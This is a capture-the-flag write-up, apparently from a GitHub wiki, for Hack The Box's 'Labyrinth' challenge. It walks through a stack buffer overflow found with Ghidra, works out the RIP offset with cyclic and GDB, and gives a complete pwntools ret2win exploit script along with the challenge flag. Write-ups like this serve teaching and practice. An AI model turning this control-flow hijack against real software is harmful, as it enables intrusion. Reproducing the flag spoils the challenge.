HTB Labyrinth writeup - Pez1181/CTF GitHub Wiki
- Binary Exploitation (pwn)
- Stack Buffer Overflow
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found โ
NX: NX enabled ๐ซ (we can't run shellcode)
PIE: No PIE โ
(static binary, fixed addresses)
Running the binary presents a classic str compare input nugget, hinting that some door number triggers another code path:
Select door:
Door: 001 Door: 002 ... Door: 100
>>
Upon decompiling main() in Ghidra, I found:
fgets(local_18, 5, stdin);
if (strncmp(local_18, "69", 2) == 0 || strncmp(local_18, "069", 3) == 0)
{
// Prompt about changing your mind
fgets(local_38, 0x44, stdin); // ๐งจ Vulnerable input
}Entering 69 or '069' gives a second input prompt. Looking closer at this second input revealed the vulnerability.
char local_38[32];
fgets(local_38, 0x44, stdin); // 0x44 = 68 bytes into a 32-byte buffer!โก๏ธ Classic stack-based buffer overflow.
โก๏ธ We can overwrite the return address and hijack control flow.
Using Ghidra, I searched for functions with interesting names and found escape_plan():
void escape_plan(void) {
puts("Congratulations on escaping! ...");
open("./flag.txt");
read and print the flag;
return;
}However, main() never calls it โ nor does any other function.
Using Ghidraโs Xrefs to on escape_plan() confirms: โ no calls โ it's meant to be exploited.
To find out how many bytes to overflow before overwriting RIP, I used cyclic from Pwntools:
cyclic 100 > pattern.txt
./labyrinth
# Input '69' at the first prompt
# Paste contents of pattern.txt at the second promptThen opened GDB:
gdb ./labyrinth core
info registersFrom RIP, I extracted the crashed value and found the offset:
cyclic -l <value>๐งฎ Result: Offset = 56
That means:
- 32 bytes for
local_38 - 8 bytes for saved
RBP - 16 more bytes (possibly padding or alignment)
Using disassemble escape_plan in GDB:
0x401255 <escape_plan>:
push rbp
mov rbp,rspInitially, I tried:
payload = b"A" * 56 + p64(0x401255)But the binary simply printed "[-] YOU FAILED TO ESCAPE!" โ no segfault, but also no flag.
Trying:
payload = b"A" * 56 + p64(0x401256)๐ฅ Success! Flag printed.
0x401255 begins with push rbp.
If the stack alignment is off (not 16-byte aligned), glibc quietly fails when escape_plan() is entered via ret.
Jumping to 0x401256 skips the push rbp and avoids alignment issues. Itโs a common exploit trick โ jump to function+1.
from pwn import *
exe = ELF('./labyrinth')
context.binary = exe
p = process('./labyrinth')
escape_plan = 0x401256 # Jump to function+1 to avoid stack issues
offset = 56
payload = b"A" * offset + p64(escape_plan)
# Step 1: trigger hidden input
p.sendlineafter(b'>>', b'69')
# Step 2: overflow the buffer and hijack RIP
p.sendlineafter(b'>>', payload)
# Drop to interactive to see the flag
p.interactive()[+] Starting local process './labyrinth': pid 21684
[*] Switching to interactive mode
Congratulations on escaping! Here is a sacred spell to help you continue your journey :
HTB{buffer0verfl0w_1s_l0v3}
- We discovered a hidden path by exploring strings in the binary.
- We used Ghidra + GDB + Pwntools to identify and exploit a stack overflow.
- The
fgets()into a fixed-size buffer was our entry point. - Stack alignment matters โ and sometimes skipping the first instruction (
+1) saves the day. - Exploiting non-called win functions is a common CTF technique.
๐งโโ๏ธ โFly like a bird and be free!โ โ prophetic advice from the challenge itself.